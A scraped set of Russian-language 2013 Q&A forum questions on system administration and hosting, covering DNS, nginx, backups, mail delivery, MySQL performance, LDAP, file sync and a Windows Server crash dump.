Господа, посоветуйте пожалуйста FTP хостинг для IP камеры наблюдения, желательно зарубежный и, неплохо бы бесплатный, но я понимаю что нормальный сервис бесплатным не бывает, но для начала хотя бы так. Требуется писать с IP камеры по FTP, изображение на удаленный хостинг. Заранее спасибо.
 

2013.02.03, 21:11:30   #Системное администрирование - #33905


В случае, если 2 компьютера за NAT'ом, как идет соединение между машинами?

Я так понимаю это будет Комп 1 -> Сервер ТВ -> Комп 2

И тут сразу вопрос, чтобы убрать промежуточный сервер ТВ и как следствие дополнительный пинг, может достаточно на принимающем компе (Комп 2) получить реальный ip адрес и они будут коннектиться напрямую? Или траффик все равно идет через сервер ТВ?

Сразу надо добавить и другой вариант, при схеме когда 2 компьютера за NAT'ом, может быть что Комп 1 -> Сервер ТВ -> Комп 2, но отклик к серверу идет единичный, а дальше компьютеры соединяются напрямую. Или я не прав?

Буду признателен, если кто подробно разъяснит
 

2013.02.04, 18:42:15   #Хостинг - #33971


Здравствуйте. Купил себе домен. Затем взял VDS у iphoster. Но тут такая проблема, что весь мой опыт привязки домена к хостингу сводился к вписыванию этого домена в пользовательском аккаунте (например как в timeweb). Здесь же такой «халявы» нет. Голый vds и делай что хочешь. Они мне выдали dns сервера (для каждого vds свои) и я их вбил в настройках регистратора домена.


Чтобы хоть как то упростить задачу, накатил webmin и полез разбираться с BIND сервером (насколько я понял это то что мне нужно). Вроде бы теперь домен ведет на 80 порт vds (nginx + unicorn). И то я так и не понял как я это сделал — пробовал создавать master, slave, forward.

Но мне надо использовать поддомены. Конфиги для них успешно созданы и ждут своего момента. Что необходимо сделать со стороны BIND(master, slave, forward?). Просто добавление основного домена и создание виртуальных хостов не прокатывает. Да и я помню что в том же timeweb я создавал поддомены для каждого домена. Очень хотелось бы разобраться раз и навсегда.
 

2013.02.04, 19:32:08   #Системное администрирование - #33973


Суть в двух словах:

Есть псевдо-TLD для внутреннего использования внутри локальной сети. Bind, nginx, etc — настроены и работают, все домены в зоне .dev направляются на сервер и правильно работают.

Необходимо, используя OpenSSL, создать SSL-сертификат разом для всех сайтов, без необходимости заменять его при создании нового виртуального домена.

Пока что имею следующую картину: клик.
 

2013.02.04, 20:01:48   #Системное администрирование - #33975


Подскажите, как составить скрипт для накопительного бакапа сервера на удаленный VPS? Везде CentOS.

Т.е. чтоб ежедневно копировались только новые и измененные файлы. Никак не могу ничего подобного нагуглить…
 

2013.02.05, 11:59:34   #Хостинг - #34019


Есть задача: размещать картографические материалы (растровые карты) в тайловых форматах (много-много маленьких картинок 256х256 пикселей, на пространство в единицы квадратных километров таких тайлов легко может быть тысяча) на хостинге в Европе или США.

Общий объем — десятки и сотни Гб.

Добавляться данные будут порциями около 1 Гб.

Использоваться — аналогично тому, как запрашиваются данные у картографических веб-сервисов (Google maps, Яндекс.Карты) — много get-ов этих самых тайлов одновременно. Сколько именно — пока сложно сказать, но хорошо бы, чтобы ограничения в этом смысле были максимально мягкими.


Тайлы должны быть доступны по некоторому постоянному заранее определенному пути с заранее определенными именами через HTTP (они организованы в папки с цифровыми именами по масштабам и координатам). Соответственно, ситуация, когда контент кочует по storage farm-ам и прежде чем его получить, сервер должен еще пообщаться с хостингом и запросить актуальный URL объекта — исключена.


Почитал про Amazon S3 — в смысле условий хранения и цен — нравится, но как-то не понял, нет ли там проблемы с постоянным URL объекта.


Если этот сервис не подходит под мои требования — подскажите, если возможно, какой подходит (если речь не идет об очевидных статических хостингах).
 

2013.02.06, 02:04:15   #Серверы - #34079


Уже довольно продолжительное время назревает вопрос замены текущего решения на базе Asus RT-N16 с прошивкой Tomato на что-то «нормальное» по многим причинам, но самая основная — неполноценный линукс.
Последней каплей стала невозможность использования кодеков G729 и iLBC для Asterisk, т.к. для их реализации нужен FPU и никто их не собирал под MIPSEL, у которого FPU нету.

Чем занимается мой сервер:
— маршрутизатор домашней сети (раздача интернета всем и вся)
— http, ftp и samba сервер
— IP-PBX
— в перспективе медиасервер (возможность проиграть 1080p по HDMI, но не критично)

Что должно быть обязательно:
— легкость настройки сети через GUI (по этому параметру Tomato меня устраивает целиком и полность)
— никакой экзотики — основной софт должен собираться под сию платформу без танцев с бубном

Чего бы хотелось:
— тихое небольшое решение на ARM

Чего бы не хотелось:
— городить сервер на декстопных комплектующих, пусть даже в формфакторе micro-ATX (ну ладно, micro-ATX пусть будет)

Собственно поглядываю на RP, но как у нее с моими требованиями?
Какие железяки посоветуете?
 

2013.02.06, 12:26:46   #Системное администрирование - #34099


Всем привет!

Есть следующая проблема: какие-то товарищи повесили на наш ip адрес свои домены и соответственно заходя к ним на сайт показывается наш сайт.

Как можно настроить nginx, чтобы не прописанные в конфигах домены не обрабатывались им?
 

2013.02.06, 15:30:22   #Системное администрирование - #34111


Есть сотни доменов у разных регистраторо, столько же SSL-сертификатов.

Мониторить все их руками невозможно, есть ли автоматизированный сервис?
 

2013.02.06, 15:55:54   #Системное администрирование - #34115


Всем привет.

Подскажите куда рыть? У меня есть задача устроить эпизодические массовые рассылки со своего сервера. (рассылка легальная, список клиентов нашего региона мы получаем от головного офиса). Мой сервер на freebsd 8.3.

Перерыл кучу информации, но в большинстве случаев рассказывают как поднять полноценный почтовый сервер с пересылками, mail box'ами и т.п.

Мне нужно гораздо проще.

Мне присылают некий лист адресов клиентов.

Я хочу взять готовое письмо и просто разослать его от имени нашей компании. так, чтобы письмо приходило от нашего адреса, например от noreplay@mycompany.com.

мне не нужно обрабатывать ответы на это письмо. для этого у нас есть другой сервер.

Мне нужно просто отправить.


Т.е. в отличии от большей части мануалов, мне не нужно заводить пользователей почтовой системы, давать им пароль и через них слать кучу писем.

Мне нужно взять тело письма, и просто разослать по адресатам.

Прошу помощи так-как окончательно запутался во всех этих exim, sendbox и postfix'ах.
 

2013.02.07, 02:25:14   #Серверы - #34159


Добрый вечер хабровчане,


я ищу файл менеджер с веб интерфейсом для линукс сервера. На данный момент используется Relay, который по ряду причин не совсем устраивает.


Обязательные фичи:

— Поддержка FTP аккаунтов

— Возможность загрузки больших файлов через HTTP

— Администрация через веб интерфейс (создание и удаление папок и пользователей, возможность привязки нескольких папок к одному пользователю и наоборот)

— Поддержка HTTPS


Дополнительные плюшки:

— Поддержка SFTP аккаунтов

— Поддержка Drag and drop

— Возможность генерировать ссылки на файл

— Конвертер файлов


Буду признателен если кто-нибудь подскажет решение, подойдёт даже платный вариант.
 

2013.02.11, 17:25:01   #Хостинг - #34471


Добрый вечер!


У меня есть ресурс на облачном хостинге. Там есть скрипт поиска. Идет поиск по нескольким таблицам, но FULLTEXT индекс только у одного поля ( articles.article_text_for_search ). Объемы текстов по которым ведется поиск — большие. Количество записей в articles — 3 000


Дело в том, что когда работает скрипт search.php ( а это около 8-ми секунд ) — то остальные страницы с сайта, если их попробовать загрузить — сразу не отдаются. Отдаются только когда скрипт search.php начинает отдавать контент в браузер…


Хостер говорит, что это я виноват. И больше ничего не говорит. Я не гуру mysql, но как SELECT запросы могут мешать отдачи контента? ( LOCK Tables не использую, тип таблиц везде — MyISAM )

SELECT articles.id , articles.magazine_id , articles.issue_id , articles.article_name , articles.annotation , articles.article_text , SUBSTRING( articles.article_text, 1, 1000) as article_text_1 , articles.section_id , articles.article_rating , articles.to_main , articles.article_unix_add , magazines.mag_name , magazines_issues.issue_number , GROUP_CONCAT( users.user_name ) AS user_names , GROUP_CONCAT( users.user_surname ) AS user_surnames , GROUP_CONCAT( tags.tag_name ) AS tag_names , sections.sec_name , CONVERT( GROUP_CONCAT( articles_authors.author_id ) USING utf8 ) AS author_ids , CONVERT( GROUP_CONCAT( articles_tags.tag_id ) USING utf8 ) AS tag_ids FROM magazines, users, sections, articles_authors JOIN articles LEFT JOIN magazines_issues ON articles.issue_id = magazines_issues.id LEFT JOIN articles_tags ON articles.id = articles_tags.article_id AND articles_tags.status = 'active' LEFT JOIN tags ON tags.id = articles_tags.tag_id WHERE ( articles.article_name LIKE '%интересная статья%' OR MATCH (articles.article_text_for_search) AGAINST ('"интересная статья"' IN BOOLEAN MODE) OR users.user_name LIKE '%интересная статья%' OR users.user_surname LIKE '%интересная статья%' OR magazines.mag_name LIKE '%интересная статья%' ) AND articles.magazine_id = magazines.id AND users.id = articles_authors.author_id AND articles.section_id = sections.id AND articles.article_status = 'published' AND articles_authors.article_id = articles.id AND articles_authors.status = 'active' GROUP BY articles.id LIMIT 0, 30
 

2013.02.13, 00:00:48   #Серверы - #34573


Стоит задача: перенести сайт с одного хостинга на другой. Проблема: файлы сайта весят уже почти 50 Гб. Причём почти все эти 50 Гб. — по сути несжимаемые форматы (mp3 + видеофайлы). Подбросьте какие-нибудь идеи, как бы с наименьшим геморроем и с небольшими затратами по времени перенести файлы сайта с одного сервера на другой?

Оба сервера стоят на CentOS. Серверы стоят в разных компаниях, предоставляющих колокейшн.
 

2013.02.13, 11:43:22   #Системное администрирование - #34599


Нужно поднять LDAP и настроить аутентификацию. Система Ubuntu Server.

Собственно, не могу ничего понять из этих схем LDAP, в интернете так и не смог найти статья, которая внятно объясняет все моменты, лишь некоторые HOW TO, где нужно проделать последовательность действий незадумываясь.

Подскажите, в какую сторону копать? Чтобы поднять сервер, я так понимаю мне нужно slapd и ldap-utils. Но что дальше с ними делать — как разобраться со схемами (какие нужные, как их создать) и прикрутить саму аутентификацию?
 

2013.02.13, 20:57:10   #Системное администрирование - #34641


Добрый день!

Такой необычный (для меня) вопрос — возможно ли запускать графические приложения (самое желанное — рабочий стол легковесный, dwm) через сессию ssh?

Ситуация будет следующая: работающий домашний компьютер с Центосом, туда подключение по ssh.

Возможно ли видеть окружение dwm через эту сессию? На рабочем компьютере тоже что-нибудь линуксовое. Или самое простое — TightVNC с пробросом портов?

Пока не имею возможности проверить в бою, интересует вообщ возможность.
 

2013.02.13, 21:00:50   #Системное администрирование - #34643


Есть сервер DELL R210 первого поколения, в нем 2 винта по 500 гигов, показываются как один VIRTUAL DISK. Как его удалить чтобы отображались 2 винта?
 

2013.02.13, 22:01:23   #Серверы - #34647


Сейчас занимаюсь настройкой веб сервера для повышения знаний.Встал вопрос с вариантами разбивки жесткого диска. Планирую сделать так:
Имеет диск 500Gb
/boot 512Mb
/ — остальное
/home — 10gb
/var тут будет папка с клиентами, так что все сайты будут в данной директории, размер примерно 150-200gb
/tmp 4Gb tmpfs
/backup 150-200Gb

Хотелось бы услышать критику и советы по установке параметров монтирования каждого раздела
 

2013.02.15, 09:00:09   #ISPmanager - #34729


Добрый день!
Встала необходимость парсить xml который возвращается от ispamanger api,
Собственно конкретика: я запрашиваю список юзеров, у всех есть набор параметров, обрамленных парными тегами, но есть параметр который одиночный и имеется у тех юзеров, кто отключен.
Никак не могу распарсить именно его. Код, который находит эти теги есть, но что делать дальше, ведь у данного тега нет парного и нет значения (того, что внутри ноды), как тогда определять disabled юзер или нет?

Стандартная конструкция поиска параметра у меня сделана так:
if( $doc = domxml_open_mem( $result ) ){ $root = $doc->document_element(); $ar = array(); $name_array = $root->get_elements_by_tagname('name'); $i = 0; foreach ($name_array as $name) { $ar[$i]['name'] .= $name->get_content(); $i++; }

Что делать с этим одиночным тегом?
 

2013.02.18, 10:22:24   #Хостинг - #34889


С целью поковыряться и набраться опыта в администратировании хочу построить хостинг на локалхосте. При этом сам хостингом никогда не пользовался, и уровень знаний не больше, чем настроить nginx + php-fpm. Но хочется развернуть на том же локалхосте полноценный «энтерпрайз», для личных целей, и только чтобы все было настроено грамотно. :)


Сейчас настроил нечто вроде shared-хостинга, когда работает один nginx, php-fpm, а через vsftpd виртуальные пользователи управляют файлами на своих доменах. Безопасность такого решения под большим вопросом.


Прочитав на википедии статью «Хостинг», — понял, что нужно что-то бОльшее и огороженное, потому что также необходимо настраивать лимиты на ресурсы (память, процессор, объем сайта), количество доменов на пользователей, и в дальнейшем настройка аккуантов почты, БД и прочая-прочая-прочая… Все это я хочу реализовать без виртуализации, ISP менеджеров… — все исключительно руками, в консоли. Создание новых доменов, пользователей в будущем автоматизировать собственными же скриптами.


В интернете полным полно материала на тему настройки демонов в отдельности (nginx, postfix, *sql, openssh, iptalbes), но не смог найти статьи про конкретно создание собственного хостинга, чтобы все эти демоны работали взаимосвязано. И когда например, пользователи настраивают себе nginx, многие любят связывать хомяк с www через mount --bind, что я считаю костылем, т.к. все, имхо, должно решаться естественным указанием путей.

Например, когда вы верстаете сайт на локалхосте, а затем заливаете его в «энтерпрайз», на хостинг, — так вот я хочу делать тоже самое, только этот самый хостинг должен распологаться на локалхосте.


И по мере изучения хостинга изнутри — пишу статью про это на LOR Wiki.

Целью монетизации домашнего хостинга не задаюсь, только лишь хочу, чтобы правильно настроить весь необходимый минимум хостинга уровня «энтерпрайз» мог любой пользователь. Кого хостить — уже будет решать пользователь, может себя и друзей, может 100500 клиентов, а возможности «энтерпрайза» упираются только в железо. :)
 

2013.02.18, 16:52:41   #Хостинг - #34939


Здравствуйте, уважаемые хабравчане! Вот какая проблема: на сервере запущен апач от имени пользователя www-data, так же на сервере создан пользователь www_user, у которого есть домашняя директория и эта директория доступна через веб. Пользователь www_user, как показано ниже создаёт в своей директории скрипт, который доступен для запуска веб-сервером и во время своей работы генерирует произвольный файл. Проблема в том, что у сгенерированного файла владельцем является веб-сервер, то есть www-data и по этой причине пользователь www_user не имеет к нему доступа. Как сделать так, чтобы у пользователя www_user не возникало проблем с доступом к сгенерированным файлам?

/home/www_user/ # ls -l total 8 -rw-r--r-- 1 www_user users 88 Feb 18 14:31 file.php -rw-r--r-- 1 www_user users 13 Feb 18 11:33 index.html /home/www_user/ # cat file.php
 

2013.02.21, 16:08:26   #Хостинг - #35129


Сегодня в 9.40 по МСК вдруг машинка выключилась (дебиан, ДЦ Оверсан-Меркурий). Поискал по логам — ничего не понятно.


Доступ на SSH с двух айпишников, один из которых только в этот момент был активен (убунта — не винда).


Подумал на саму клоду — типа xen ихний что-то решил выключить. Но техподдержка ответила тупо:

Здравствуйте

Вам стоит проверить логи сервера. Если в панели ничего не указано, значит, что он мог быть выключен через консоль.


> С вашей стороны есть какие-нибудь логи?

> У вас логов никаких нету с вашей стороны? М.б. с вашей стороны что-то упало или перезагружалось и не взлетело?

Нет, к сожалению, подобных логов у нас нет.


1. Правда ли это, что у хостера вааще никаких логов не ведется, как там себя виртуалки чувствуют?

2. У кого-нить кто на клоде бывало ли что-то подобное?

3. Куда посмотреть на дебиане или что включить на будущее, чтобы понять, что не так? Сама виртуалка под xen`ом работает — внутри есть процесс xenmgm.
 

2013.02.22, 19:27:59   #Серверы - #35235


В локальной сети есть пара серверов, доступ к которым в локальной осуществляется по адресам типа https://192.168.xxx.xxx:
В инет смотрит роутер типа Dlink-320. Имеет статичный IP от провайдера.
Один сервер прокинуть по 443-му порту не проблема — все работает и сервер доступен по белому IP с использованием https://
Как быть со вторым и последующими, при пробрасывании на порты роутера отличные от 443-го, сервера недоступны.

Может я что-то делаю не так? Посоветуйте, пожалуйста, куда копать?

Спасибо.
 

2013.02.22, 21:21:00   #Хостинг - #35239


Какие есть современные альтернативы net2ftp.com? Хочется современный дизайн, хотя бы на twitter bootstrap, аякс, перетаскивание файликов в браузер. Было бы прекрасно, если бы оно еще умело sftp и scp, а не только простой ftp.
 

2013.02.23, 01:40:59   #Хостинг - #35243


Всем привет.

Случилась история что мы владеем доменом в зоне .org, а домен .com выкуплен, но при открытии .com домена вот уже 2 года открывается пустая страница.

whois даёт такую информацию по всем контактам.

Administrative Contact:
Master, Host hostmaster002@this_is_hidden.com
PO Box 1234567890
San Juan, San Juan 00927
PR
+1.1234567890

Registrar of Record: TUCOWS, INC.
Registration Service Provider: WebLaunching.net

В компании WebLaunching.net сказали, что

Please use publicly available whois information to contact the domain owner.
Please let us know if we can be of further assistance. Thanks!

Может есть какие-нибудь непрямые варианты выкупить домен?

Безмерно благодарен за советы, Слава
 

2013.02.23, 11:14:41   #Системное администрирование - #35251


Всем привет. Мне как веб-разработчику (php, ruby) и unix-администратору, интересно, какие шаги проводят для адаптации веб-проекта под highload.


Собственно, хотелось узнать наиболее типовые решения (чтобы я мог погуглить на тему и разобраться как это осущестить на практике).


Например, из того, что имен известно (в плане php) — установка nginx в качестве фронтэнда, либо вообще единственного сервера вместе с php-fpm, использование php-apc, memcached, перевод узких мест на NoSQL. Но это все мероприятия в рамках одного сервера, а меня больше интересует разнесение на несколько серверов.


Конкретно создать этот вопрос меня побудило желание узнать, как же все-таки зеркалируются данные на серверах и используется единая база данных, в случае, например, использования DNS Round Robin.
 

2013.02.23, 19:14:48   #Хостинг - #35275


Использую VPS для хостинга нескольких сайтов, которые работают в основном сервере Apache, предустановленном в системе.

Хочу на этой же машине запустить еще один сайт в отдельном инстансе Apache, хочу чтобы и он отдавал контент на 80-м порту.


Как это можно сделать?


Слышал про несколько IP для одного сервера, но как настраивается такая вещь?
 

2013.02.25, 14:38:47   #Серверы - #35363


Предложили халтурку, а я что-то даже и не в курсе цен на такие работы сегодня) вот что значит сидеть на окладе)

Смысл такой — маленькая фирма (6 компов). Купили сервер. Надо его собрать, накатить винсервер, Его настроить и запустить на нем следующие задачи:

1) 1С (уже работает на другом компе, надо просто перенести)

2) какая-то своя клиент-серверная прога (тоже перенести)

3) файлопомойка с разграничением прав доступа

4) видеонаблюдение (ip-камеры, уже установлены, надо программную часть сделать)

5) ip-телефония (вроде тоже уже работает, надо перенести)


домен поднимать смысла нет, 6 компов всего и расширение не планируется. Но перенос всей этой лабуды все-таки время отнимет. Ну и плюс до кучи еще один комп собрать надо, ну и полностью к работе подготовить — ос, проги, сеть…


Сколько такая работа стоит? Да, дело происходит в Казани, так что цены всеж не такие, как в Москве)
 

2013.03.01, 14:12:45   #Системное администрирование - #35641


Запускать PHP-FPM на сокете или на порту? Плюсы, минусы, подводные камни?

Более всего интересует вопрос скорости работы, и как частность — накладные расходы на общение с демоном. Может кто-нибудь делал бенчмарк?

Если есть что-то специфичное для freebsd — тоже интересно.
 

2013.03.01, 19:24:52   #Серверы - #35673


Здравствуйте!

Меня интересует, каков правильный подход к разработке серверного ПО, размещаемого на Windows Server. Большинство серверов, которые работают и разрабатываются у нас в компании, представляют собой консольные приложения. Сервера обрабатывают входящие подключения (socket, wcf), работа с БД. Практически во всех идет некоторый информационный вывод в консоли, так что всегда можно последить за здоровьем того или иного инстанса.

Но мне все-таки кажется такой подход неверным. Десятки значков в таскбаре, затрудненный поиск нужного инстанса (особенно, если что-то упало), невозможность централизованного мониторинга и управления, проблематичный перезапуск после падения. В общем, недостатков множество.

Потому вопрос такой. Есть ли какой-то стандартный подход к разработке серверного ПО для WinServer? Как это должно выглядеть? Как мониториться? Как запускаться?

В голову идут Windows Services, ПО для централизованного управления, подключающееся к каждому серверу… Может есть уже готовые решения?
 

2013.03.02, 18:55:24   #Системное администрирование - #35711


Есть два сервера (debian) в разных датацентрах. Будет настроена балансировка. Требуется синхронизировать в реальном времени директории с тысячами мелких файлов мелкого объёма. В минуту будет добавляться около мегабайта данных (около 10 файлов всего). Какой инструмент для этого лучше выбрать?


Какие есть хорошие варианты? Смотрел в сторону NFS, rsync daemon, iSCSI, но у них у каждого свои недостатки…
 

2013.03.03, 11:59:20   #Системное администрирование - #35757


Суть проблемы в том, что в былые времена (лет 5 назад) сделав рассылку своим зарегистрированным посетителям — сайт получал огромный прирост посещений сразу.

Теперь, хоть количество пользователей увеличилось в разы — после рассылки прироста нет практически. Как я полагаю всё это из-за борьбы со спамом.

С год назад настроили реверс DNS, SPF, DKIM, проверили есть ли сервер в чёрных списках — и всё равно не помогло. Ну и ссылка для отписки также есть.

А вот есть ли какое-то средство, чтобы всё-таки заработала рассылка? Либо придётся попробовать сторонний сервис?
 

2013.03.04, 16:17:48   #Системное администрирование - #35837


Всем привет!

Пытаюсь поставить Dropbox на своём сервере, делаю всё как описано ( www.dropbox.com/install?os=lnx ), но при этом при выполнении команды получаю:
[dropbox@trylogic ~]$ ~/.dropbox-dist/dropboxd Unable to access the X Display, is $DISPLAY set properly?

гугл не помог в решении данного вопроса, моих знаний тоже не хватает к сожалению(

$DISPLAY пустая.

Кто-нибудь сталкивался с такой проблемой?

Спасибо.

UPD:
Работает если запускать вот так:
[dropbox@trylogic ~]$ env - LANG="$LANG" ~/.dropbox-dist/dropboxd
 

2013.03.05, 14:31:37   #Системное администрирование - #35897


Привет


В продакшине есть сервер dell poweredge r720xd с windows server 2012 datacenter edition, он забсодил после того как я отправил виртуальную машину в ребут.


интересное из мини дампа:
Технические характеристики kd>! analyze -v

*******************************************************************************

* *

* Bugcheck Analysis *

* *

*******************************************************************************


DRIVER_CORRUPTED_EXPOOL (c5)

An attempt was made to access a pageable (or completely invalid) address at an

interrupt request level (IRQL) that is too high. This is

caused by drivers that have corrupted the system pool. Run the driver

verifier against any new (or suspect) drivers, and if that doesn't turn up

the culprit, then use gflags to enable special pool.

Arguments:

Arg1: 000000000000f6c8, memory referenced

Arg2: 0000000000000002, IRQL

Arg3: 0000000000000000, value 0 = read operation, 1 = write operation

Arg4: fffff8016a28be15, address which referenced memory


Debugging Details:

— *** WARNING: Unable to verify timestamp for Vid.sys

*** ERROR: Module load completed but symbols could not be loaded for Vid.sys


BUGCHECK_STR: 0xC5_2


CURRENT_IRQL: 2


FAULTING_IP:

nt!ExDeferredFreePool+1b5

fffff801`6a28be15 49394208 cmp qword ptr [r10+8],rax


CUSTOMER_CRASH_COUNT: 1


DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT_SERVER


PROCESS_NAME: vmwp.exe


TRAP_FRAME: fffff8800e6a9fb0 — (.trap 0xfffff8800e6a9fb0)

NOTE: The trap frame does not contain all registers.

Some register values may be zeroed or incorrect.

rax=fffffa80629cc6d0 rbx=0000000000000000 rcx=fffffa80629cc6c0

rdx=fffffa80626d3d60 rsi=0000000000000000 rdi=0000000000000000

rip=fffff8016a28be15 rsp=fffff8800e6aa140 rbp=fffff8800e6aa1b8

r8=fffffa80629cc6e0 r9=0000000000000000 r10=000000000000f6c0

r11=0000000000000001 r12=0000000000000000 r13=0000000000000000

r14=0000000000000000 r15=0000000000000000

iopl=0 nv up ei ng nz na po nc

nt!ExDeferredFreePool+0x1b5:

fffff801`6a28be15 49394208 cmp qword ptr [r10+8],rax ds:00000000`0000f6c8=????????????????

Resetting default scope


LAST_CONTROL_TRANSFER: from fffff8016a096369 to fffff8016a097040


STACK_TEXT:

fffff880`0e6a9e68 fffff801`6a096369: 00000000`0000000a 00000000`0000f6c8 00000000`00000002 00000000`00000000: nt!KeBugCheckEx

fffff880`0e6a9e70 fffff801`6a094be0: 00000000`00000000 00000000`00000000 00000000`00000000 fffff880`0e6a9fb0: nt!KiBugCheckDispatch+0x69

fffff880`0e6a9fb0 fffff801`6a28be15: 00000000`0001453e 00000000`00000000 00000000`00014600 fffffa80`60c47c78: nt!KiPageFault+0x260

fffff880`0e6aa140 fffff801`6a28ab48: fffff880`00000000 fffffa80`680cbac0 fffffa80`636db870 fffff880`00800008: nt!ExDeferredFreePool+0x1b5

fffff880`0e6aa1d0 fffff801`6a0dcc71: fffffa80`680cbad0 0000001d`f5615fff fffffa80`dee2d980 fffffa80`76706d4d: nt!ExFreePoolWithTag+0xb39

fffff880`0e6aa2b0 fffff801`6a483c5b: 00000000`00000000 fffff700`0003b000 0000001d`f5610000 00000000`00000001: nt!MiFreePhysicalView+0x51

fffff880`0e6aa2e0 fffff801`6a0dcac0: fffffa80`dee2d980 fffffa80`7151fb00 fffffa80`680969b0 fffffa80`dee2d980: nt!MiRemoveVadCharges+0x12b

fffff880`0e6aa320 fffff801`6a0fbe54: fffffa80`680969b0 fffffa80`69592d10 fffffa80`6db99320 00000000`00000000: nt!MiFinishVadDeletion+0x1d0

fffff880`0e6aa390 fffff801`6a1492da: fffffa80`680969b0 00000000`00000000 fffffa80`6a55cd70 0000001d`f5610000: nt!MiUnmapVad+0xf4

fffff880`0e6aa3f0 fffff880`0501637f: 00000000`00000000 00000000`00000000 0000001d`f480f270 fffffa80`70875d80: nt!MiUnmapLockedPagesInUserSpace+0xfa

fffff880`0e6aa420 00000000`00000000: 00000000`00000000 0000001d`f480f270 fffffa80`70875d80 fffff880`0e6aa600: Vid+0x1637f


STACK_COMMAND: kb


FOLLOWUP_IP:

nt!ExDeferredFreePool+1b5

fffff801`6a28be15 49394208 cmp qword ptr [r10+8],rax


SYMBOL_STACK_INDEX: 3


SYMBOL_NAME: nt!ExDeferredFreePool+1b5


FOLLOWUP_NAME: Pool_corruption


IMAGE_NAME: Pool_Corruption


DEBUG_FLR_IMAGE_TIMESTAMP: 0


MODULE_NAME: Pool_Corruption


BUCKET_ID_FUNC_OFFSET: 1b5


FAILURE_BUCKET_ID: 0xC5_2_nt!ExDeferredFreePool


BUCKET_ID: 0xC5_2_nt!ExDeferredFreePool


Followup: Pool_corruption




есть идеи в каком направлении копать?
 

2013.03.05, 16:28:57   #Хостинг - #35909


Суть в вопросе. Т.е. хотим средствами желательно CLI (чтобы автоматизировалось) узнать какие виртуальные веб-серверы находятся за данным IP адресом.
Заранее благодарен.
 

2013.03.05, 16:48:48   #Системное администрирование - #35911


В веб-интерфейсе supervisord (supervisord.org/) напротив сервиса есть ссылка «Tail -f» (адрес такой: site.ru:9001/logtail/service_name%3A0). При нажатии на данную ссылку открывается новое окно, но ответ так и не приходит в браузер. Из консоли supervisorctl аналогичный вызов (tail -f service_name:0) отрабатывает нормально.

supervisor> tail -f service_name:0 ==> Press Ctrl-C to exit
 

2013.03.06, 12:22:53   #Системное администрирование - #35947


Добрый день уважаемое сообщество.
Столкнулся с ситуацией — есть сервер на базе Ubuntu 12.04 с большим количеством настроенного ПО(в том числе собранного из исходных кодов). Необходимо подготовить LiveCD своего дистрибутива для установки аналогичных этому серверов(если он будет уметь работать без установки — это будет очень приятным бонусом). Пробовал remastersys, смотрел relinux — к сожалению они все требуют X сервер для процесса инсталлятора.
Есть какой-нибудь другой путь создать свой дистрибутив с текстовым инсталлятором на базе Ubuntu 12.04? Ставится будет на самое разное и непредсказуемое железо без моего участия, поэтому простое клонирование тут не подойдет.
 

2013.03.06, 20:34:08   #Серверы - #35989


Дорогие друзья, сегодня я хотел бы вас спросить:
Насколько действительно необходимо занулять серверные стойки?
Есть разные стойки: на некоторых крутятся сервера, а в некоторых висят только циски, они находятся в совершенно разных помещениях и даже разных зданиях
К своему удивлению, обнаружил, что они не занулены, я понимаю, что это сделать нужно, хотя бы, что бы трогать какое-нибудь новое дорогое оборудование, но тем не менее стоит вопрос необходимости «капанья на мозги» начальству.
 

2013.03.07, 12:09:31   #Хостинг - #36027


Здравствуйте!


Несколько дней назад заказал себе VDS в небезызвестной компании Hetzner. Когда пришло подтверждение активации я не смог соединиться с сервером по SSH — с указанным IP-адресом связи просто не было. Примерно через сутки, когда стало понятно, что само собой это не решится, я приступил к более тщательному анализу. Во-первых, написал в техподдержку хостинг-провайдера. Там после нескольких вопросов ответили, что проблема у магистрального провайдера и они никак не в силах на них повлиять. Мой интернет-провайдер ответил примерно то же самое.


Проблема с подключением именно из России, определенно, существует — www.host-tracker.com/InstantCheck/ResultComplete/0... Если пробовать подключиться с какого-либо хоста из-за пределов России, то все отлично работает. К тому же, у меня сработало подключение при использовании GPRS-Интернета от Билайн… В общем, все еще больше запуталось.


Сейчас есть единственное предположение, что неверно настроена маршрутизация в подсети IP-адреса 212.188.55.78 (принадлежит ZAO MTU-Intel), который, согласно выводу traceroute, является промежуточным шагом в пути пакетов к нужному IP (да, пациент — 78.47.50.92).


Посоветуйте, пожалуйста, какие дальнейшие шаги можно предпринять в данной ситуации. Заранее большое спасибо!
 

2013.03.08, 00:00:22   #Системное администрирование - #36073


Не корысти ради, а токмо волею пославшей мя супруги заказчиков, не имеющих денег на админов, вынужден не только разработкой заниматься, но и администрированием vds под их проекты, над которыми работаю. использую Ubuntu Server. Есть несколько скриптов на bash/python/php для сервера (создание виртхостов nginx+php-fpm и пользователей для них, бэкапы, анализ логов и прочие мелочи). некоторые скрипты должны запускаться от рута (через sudo), некоторые от текущего пользователя (каждый виртхост — свой пользователь и группа). Как это всё организовать, желательно с каким-то центральным репозиторием (известным, бесплатным), с которого можно было бы разворачивать привычное окружение на новом сервере, даже если старый и личный десктоп оказались недоступны?


Как мне видится: скрипты разрабатываются локально под контролем git или hg (исходники хостятся на github или bitbacket), потом «ручками» (условно тоже каким-нибудь скриптом, возможно хуком на vcs) формируются deb-пакеты (по сути из одного файла), заливаются на launchpad (вроде единственный популярный бесплатный хостинг, на котором можно deb репозиторий без проблем поднять), адрес репа добавляется в source-list, и потом через apt-get скрипты ставятся в /usr/local/bin/ (чтобы сразу через path были доступны), при необходимости создаются каталоги в /usr/local/{lib,share,etc}. Получаю что на любой машине (с Ubuntu точно, с другими Debian-like вероятно, а остальные особо не интересуют), могу развернуть привычное окружение. Недостаток — пакеты, а в случае github и исходники, доступны в паблике (и над ними могут все ржать :)


Или я себе слишком жизнь усложняю и обычно это всё проще решается? или отдельные замечания к моему сценарию есть? Может без local надо обходиться, раз через apt ставлю? Может ещё что?
 

2013.03.08, 00:15:15   #Системное администрирование - #36075


Посоветуйте плиз книги по концепциям пользования и администрирования *nix машин.


Книги, которые я обычно вижу, рассказывают так: вот есть Линукс, очень стабильная система, вот ее файловая система, в этой папке лежат драйвера, а в этой лежат юзерские файлы, вот это Шелл, скриптик пишется вот так, который выводит что-то, вот так мы конфигурим юзеров, а вот так мы настраиваем фаервол. Все это с той или иной долей углубления.


Это все не интересно, я все это знаю и это перетекает из одной книги в другую.


Интересны книги, которые отвечают на вопросы «почему» и «какой подход».


Я вот например не могу понять зачем нужен sudo, если все равно чтобы что-то установить приходится выдавать юзеру все пермишены, и он тупо заходит под sudo -L и там работает как ни в чем не бывало из под рута (а если не работают, то это надо филигранно выложить права, что я как-то с трудом представляю как это делать надо)


